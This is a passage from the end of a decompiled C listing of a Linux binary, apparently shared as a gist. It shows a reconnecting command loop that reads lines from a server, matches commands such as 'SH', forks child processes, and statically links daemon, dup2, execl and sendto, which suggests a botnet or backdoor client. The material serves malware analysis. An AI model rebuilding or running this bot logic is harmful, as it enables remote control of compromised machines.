strncmp_rc = strncmp(str2, "SH", 3); | |
v62 = strncmp_rc % 2 == 0; | |
v60 = false; | |
v61 = ((int32_t)(v60 | strncmp_rc % 2 == 0) | v42 & -256) ^ 1; | |
if ((0x1000000 * (v61 - (int32_t)v60) || 0xffffff) < 0x1ffffff) { | |
goto lab_0x8050b07; | |
} | |
goto lab_0x8050c02; | |
} | |
// 0x8050a88 | |
*v53 = 0; | |
if (*str2 == 0) { | |
goto lab_0x8050abe; | |
} | |
c = str2; | |
v55 = v50; | |
goto lab_0x8050a99; | |
} | |
} | |
// 0x80509f2 | |
strlen(str2); | |
strlen(str2); | |
// branch -> 0x8050a17 | |
} | |
// 0x8050d3c | |
puts("Link closed by server."); | |
// branch -> 0x8050690 | |
lab_0x8050690_4: | |
// 0x8050690 | |
// branch -> 0x8050690 | |
goto lab_0x8050690; | |
} | |
lab_0x8050d0f_2: | |
// 0x8050d0f | |
if (recvLine((int32_t)v27, (char *)&str, 0x1000) == -1) { | |
// break (via goto) -> 0x8050d3c | |
goto lab_0x8050d3c_5; | |
} | |
// continue (via goto) -> 0x805089a | |
goto lab_0x805089a_6; | |
} | |
// 0x80509ae | |
if (*v44 == 0) { | |
goto lab_0x8050d0f_2; | |
} | |
goto lab_0x80509bc; | |
} | |
} | |
// 0x8050d0f | |
if (recvLine((int32_t)v27, (char *)&str, 0x1000) == -1) { | |
// break (via goto) -> 0x8050d3c | |
goto lab_0x8050d3c_5; | |
} | |
// continue (via goto) -> 0x805089a | |
goto lab_0x805089a_6; | |
} | |
// 0x80506f1 | |
v36 = waitpid(pid2, NULL, WNOHANG); | |
v35 = v28 + 1; | |
if (v36 < 1) { | |
goto lab_0x8050897; | |
} | |
goto lab_0x8050723; | |
} | |
// 0x8050d3c | |
puts("Link closed by server."); | |
// branch -> 0x8050690 | |
goto lab_0x8050690_4; | |
} | |
} | |
lab_0x8050d3c_5: | |
// 0x8050d3c | |
puts("Link closed by server."); | |
// branch -> 0x8050690 | |
goto lab_0x8050690_4; | |
} else { | |
// 0x8050699 | |
puts("Failed to connect..."); | |
sleep(5); | |
// branch -> 0x8050690 | |
goto lab_0x8050690_4; | |
} | |
// 0x8050690 | |
// branch -> 0x8050690 | |
} | |
} | |
// --------------- Statically Linked Functions ---------------- | |
// int * __errno_location(void); | |
// int atoi(const char * nptr); | |
// void bcopy(const void * src, void * dest, size_t n); | |
// int chdir(const char * path); | |
// int close(int fd); | |
// int connect(int fd, __CONST_SOCKADDR_ARG addr, socklen_t len); | |
// int daemon(int nochdir, int noclose); | |
// int dup2(int fd, int fd2); | |
// int execl(const char * path, const char * arg, ...); | |
// void exit(int status); | |
// int fcntl(int fd, int cmd, ...); | |
// __pid_t fork(void); | |
// void free(void * ptr); | |
// int getdtablesize(void); | |
// struct hostent * gethostbyname(const char * name); | |
// __pid_t getpid(void); | |
// int getsockname(int fd, __SOCKADDR_ARG addr, socklen_t * restrict len); | |
// int getsockopt(int fd, int level, int optname, void * restrict optval, socklen_t * restrict optlen); | |
// uint32_t htonl(uint32_t hostlong); | |
// uint16_t htons(uint16_t hostshort); | |
// in_addr_t inet_addr(const char * cp); | |
// char * inet_ntoa(struct in_addr __in); | |
// int ioctl(int fd, unsigned long int request, ...); | |
// int isspace(int c); | |
// int kill(__pid_t pid, int sig); | |
// void * malloc(size_t size); | |
// void * memset(void * s, int c, size_t n); | |
// uint32_t ntohl(uint32_t netlong); | |
// int open(const char * file, int oflag, ...); | |
// int pipe(int pipedes[2]); | |
// int puts(const char * s); | |
// int rand(void); | |
// ssize_t read(int fd, void * buf, size_t nbytes); | |
// ssize_t recv(int fd, void * buf, size_t n, int flags); | |
// int select(int nfds, fd_set * restrict readfds, fd_set * restrict writefds, fd_set * restrict exceptfds, struct timeval * restrict timeout); | |
// ssize_t send(int fd, const void * buf, size_t n, int flags); | |
// ssize_t sendto(int fd, const void * buf, size_t n, int flags, __CONST_SOCKADDR_ARG addr, socklen_t addr_len); | |
// __pid_t setsid(void); | |
// int setsockopt(int fd, int level, int optname, const void * optval, socklen_t optlen); | |
// int sigaddset(sigset_t * set, int signo); | |
// int sigemptyset(sigset_t * set); | |
// __sighandler_t signal(int sig, __sighandler_t handler); | |
// int sigprocmask(int how, const sigset_t * restrict set, sigset_t * restrict oset); | |
// unsigned int sleep(unsigned int seconds); | |
// int socket(int domain, int type, int protocol); | |
// int sprintf(char * restrict s, const char * restrict format, ...); | |
// void srandom(unsigned int seed); | |
// char * strchr(char * s, int c); | |
// char * strcpy(char * restrict dest, const char * restrict src); | |
// size_t strlen(const char * s); | |
// char * strncpy(char * restrict dest, const char * restrict src, size_t n); | |
// char * strstr(char * haystack, const char * needle); | |
// char * strtok(char * restrict s, const char * restrict delim); | |
// time_t time(time_t * timer); | |
// int toupper(int c); | |
// __pid_t vfork(void); | |
// __pid_t waitpid(__pid_t pid, int * stat_loc, int options); | |
// ssize_t write(int fd, const void * buf, size_t n); | |
// --------------------- Meta-Information --------------------- | |
// Detected compiler/packer: gcc (i686-redhat-linux-gcc) (4.6.3) | |
// Detected functions: 37 | |
// Decompiler release: v2.2.1 (2016-09-07) | |
// Decompilation date: 2016-10-06 16:19:31 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment